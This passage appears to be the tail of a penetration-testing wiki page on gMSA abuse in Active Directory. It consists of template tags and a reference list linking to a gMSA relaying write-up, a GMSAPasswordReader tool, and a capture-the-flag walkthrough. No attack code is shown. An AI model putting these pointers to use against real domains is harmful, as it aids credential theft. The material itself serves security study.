uac-user-account-control.md
{{#endref}}
## References
- [Relaying for gMSA cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/)
- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)
- [HTB Sendai 0xdf: gMSA via rights chaining to WinRM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
{{#include ../../banners/hacktricks-training.md}}